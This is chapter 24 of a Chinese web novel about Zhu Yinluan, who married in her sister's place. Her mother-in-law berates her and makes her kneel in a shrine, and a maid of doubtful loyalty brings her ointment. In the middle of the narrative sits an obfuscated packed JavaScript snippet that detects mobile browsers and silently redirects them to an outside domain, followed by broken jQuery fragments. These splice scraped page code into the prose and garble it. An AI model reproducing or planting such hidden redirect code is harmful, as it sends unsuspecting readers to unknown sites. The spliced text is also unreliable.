24.第24章

作品:《替姐姐嫁入宅门的第四年

    尽管在心里已经做过了准备,有可能会发生这样的事情,可真的听到庞氏这么说,祝吟鸾的心却还是忍不住在一瞬间倏而提了起来。


    她觉得很委屈,也明明知道不应该在这个关口展露出自己的任何情绪,毕竟还有外人在这里。


    可难以掩饰之下,她控制不住自己抬头看向了庞氏。


    她的婆母,庞氏这句话看起来不像是说笑,她的神色是那么的趾高气昂,那么的居高临下。


    就因为昨日卫如琢莫名其妙的情绪,他起身拂袖而去,所以庞氏不分青红皂白,赶早把她给叫过来,没有问清楚任何的缘由,就把所有的错全都归咎到她的身上。


    当着长姐的面训斥她不说,还要威胁说要将她扫地出门?


    她真的忍不住不委屈,宽袖之下的手攥紧了拳头,指骨酸涩浮上鼻头之后,与之而来的还有愤怒。


    她嫁入卫家几年了,帮着卫家做了那么多的事情,庞氏不清楚吗?当初为佳


    可真的要辩解,祝吟鸾又不知道应该说些什么。


    祝沉檀听到这句话,看到祝吟鸾被吓得苍白的脸色,整个人的心里是愉悦的。


    面上却佯装哄着庞氏,“夫人不要生气,小妹年岁要小一些,经事也比较少,她在闺中之时,因为身子骨不好,甚少出门,人情之上难免欠缺,您就宽慰宽慰她吧。”


    祝吟鸾忍不住在心里讽刺一笑,跟在庞氏身后的云妈妈也忍不住皱眉。


    祝沉檀这句话看似为她说话,实际上已经帮她认了庞氏给她冠的莫须有的罪名,甚至变相跟庞氏陈述她的不好。


    当真是白费苦心了。


    祝吟鸾也不知说什么,真要解释了,庞氏也不会听的,她正打算垂下头,可庞氏不依不饶,“瞧瞧,你果真一句话也没有?”


    她强行忍下心中的疲倦,“都是儿媳不好。”


    她很清楚庞氏要听的不是解释,她只是想出气,任由她训骂就是了,先将认错的态度摆出来。


    要是辩解,庞氏抓住她的小辫子,说不定会怎么训斥。


    “瞧着你也是不中用了……”


    只是祝吟鸾没想到,庞氏这次气很大,比先前几次都还要大,或许是因为卫如琢升官,她的底气越来越足了,不再有任何忌惮。


    足足半个时辰了,庞氏才勉强停下来。


    就连早膳都没有让她吃,让她去面壁思过。


    云妈妈不得不冒上劝道,“少夫人近来身子不好,若是饿坏了,可怎么是好?况且少夫人和大公子之间,只怕是……”


    “万一有什么误会呢?”


    “饿一两顿能怎么着?”庞氏铁了心,“就是要让她好好清醒清醒,帮不上琢哥儿什么,也不要拖他的后腿!”


    云妈妈还要再说,却被一意孤行的庞氏抬手打断。


    祝吟鸾朝云妈妈递了一个感激的眼神,让云妈妈不必再说了。


    她顺从起身离开。


    卫家的后院有个小佛堂,是之前庞氏初一十五会来求神念经的地方。


    地方很小,位置偏着,有些许阴凉。


    祝吟鸾一个人慢吞吞走着,旁边的明芽却已经忍不住哭了起来。


    听到抽泣的声音,祝吟鸾看过去,问她怎么哭了?


    “奴婢觉得小姐的日子难过,一时忍不住。”


    “现如今姑爷只是升了官,虽然不错,却也没有到天大掌权的地步,您如今就这般难熬,日后可怎么办啊?”


    没有给祝吟鸾撑腰,她只能任打任骂。


    “大小姐步步紧逼,您没有别的法子吗?”明芽想要她谋求出路。


    祝吟鸾没有说话,她垂头走着。


    很快就到了小佛堂,明芽去点上烛火,祝吟鸾烧了一炷香,跪在旁边礼佛,她闭上眼睛,尽力压制着内心的委屈和怒意。


    明芽说得对,长姐从中作梗,她娘家没人照拂,庞氏不喜,夫君不悦,日后……她必要做好最坏的打算才是。


    思及此,祝吟鸾睁开眼看向低眉慈和的菩萨。


    “……”


    祝吟鸾在佛堂面壁了一整日,什么也没吃,双膝跪得青紫。


    明芽和姣惠搀扶着她回去。


    明芽这小丫鬟眼泪软,哭得厉害,姣惠面色也很凝重。


    今日卫如琢没有回来,升官以后越发忙了,他要应付外面的事情。


    祝沉檀让人给她送了药膏来,除此之外,祝吟鸾没有想到,方种月竟然也亲自给她拿了药。


    这药竟然还特别的好,她说是侯府沈家的药,先前她母亲身子骨不好,沈家老夫人体恤她做事认真,人又上了年纪,特地赏赐的,还说是宫里的东西,效果很好,请她务必用了。


    祝吟鸾看着方种月的脸,“这东西既然这么好,你为何要给我?”


    长姐送的药膏都没有她给的好。


    方种月道,“少夫人先前待奴婢不错,奴婢也想报答您。”


    闻言,祝吟鸾笑了一下,暂时没说话。


    方种月摸不准她的心思,看着她安静的样子,想到那人的交代,又劝了两句……


    看着祝吟鸾红肿青紫的膝盖骨,索性上前去帮她亲自上药了。


    她福身行了一礼,打开药膏,很是恭敬半跪到祝吟鸾面前。


    明芽却挡在祝吟鸾前面,“你做什么?!”


    “我们家小姐岂是你能靠近的!”


    “种月只是想要帮少夫人的忙。”


    明芽护犊子说,“东西放在这里不就行了,做什么突然靠近?”


    祝吟鸾在明芽后面观察着方种月,没看出她脸上的算计,她轻叹一声,吩咐明芽不要无礼。


    “小姐,防人之心不可无,谁知道她这么殷勤究竟是要做什么啊?”


    姣惠虽然也拦了,可是她没有吭声,阻拦的劲头也没有往日那么厉害。


    祝吟鸾心不在焉,没注意到这些细节。


    她问方种月,有话不妨直说,“我虽然占着正头少夫人的位置,但你也清楚,我在家中已经渐渐不得势力了,讨好我没什么用,甚至还有可能会得罪婆母。”


    言外之意,她还是不相信方种月是为了报答她往日里照拂的恩情,来给她送这么好的药。


    “你先前说家中艰难,既然有这么名贵的药,为何不卖了换些钱?”宫里出来的药膏,放去医馆估价,只怕十几两都可以谈。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15323641|166262||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    方种月犹豫片刻,开口,“少夫人既然都说到了这里,那奴婢也不隐瞒了。”


    “您为人宽厚,您的长姐却……容不下人。”


    “若是您的长姐进门,那奴婢只怕没有容身之处,所以奴婢想要帮您,当然了,也是帮奴婢自己。”


    “这盒药膏便是奴婢的诚意。”


    大人说得对,她的警惕很高。


    过了一会,祝吟鸾似乎相信了,她让明芽让开。


    方种月上前给她擦药,期间祝吟鸾一直观察她。


    感受到她的视线,方种月又主动跟祝吟鸾说了,昨日卫如琢去找她时都讲了些什么话。


    祝吟鸾听了之后,只是嗯一声,兴致不怎么高。


    方种月走后,云妈妈给她送了一些吃的过来,还说是庞氏的意思。


    打一巴掌给一颗糖。


    祝吟鸾心里没什么起伏,面上却装得很好,不辜负云妈妈的良苦用心,顺着“台阶”就下了。


    “多谢婆母的好意,今日面壁思过,吟鸾也知道了自己的错处,日后定然引以为戒,好生伺候夫君,孝顺婆母。”


    “好。”云妈妈让她好生歇息,还给她送了药。


    回去之后,云妈妈添油加醋帮着祝吟鸾给庞氏说了好些话。


    庞氏心里顺畅了一些,“嗯,算她识趣。”


    “少夫人一向很会看人脸色,顺从您的心意。”云妈妈夸着祝吟鸾的好。


    庞氏撇撇嘴,“这些好有什么用?能生出孩子能帮上琢哥儿提选尚书之位吗?”


    云妈妈又适时道,“少夫人好歹是祝大人的女儿,定然是会帮大公子晋选的。”


    “一个庶女而已,这些年祝家帮衬,都是看在祝沉檀的面上,又顾及着两家以前的交情,关她什么事?”


    “祝家大小姐和骆家的事情迟早瞒不住,若是再跟咱们公子有什么,岂不是开罪骆家?何况她又许过人了,您就不嫌弃祝家大姑娘吗?”


    “琢哥儿现在的官位可比骆暄高!”


    说到后面那句话,庞氏却道,“你懂什么?正因为她许过人难以再嫁,进了咱们卫家门,名声或许难听一些,可祝家一定会念及我们卫家大度,卯足劲帮着琢哥儿。”


    庞氏的算盘打得噼啪响,云妈妈也不好多说些什么了,讪然闭上了嘴巴。


    祝吟鸾躺下之前,明芽跟她说,方种月的话不可信,姣惠却觉得可以相信,两个小丫鬟吵来吵去。


    听着她们的吵闹声,祝吟鸾浅浅睡了过去。


    她做梦了。


    梦到那个男人,他与她亲密,吻着她,哄着她,让她别哭,说都是他的错。


    低沉温柔的声音萦绕在耳畔,她竟然觉得有些许熟悉,可又无法准确分辨他到底是谁。


    真的是梦吗?


    祝吟鸾第一次生出这样的念头,她竟不希望是梦,也想要知道梦里的男人究竟是谁?


    可她始终不得而知,因为夜里起风刮雨,动静太大了,她随之转醒。


    听着外面的雨幕,她在想,自己为何会有这样的念头?


    莫不是,她因为卫家日子难熬,生出了想要越轨的念头吗……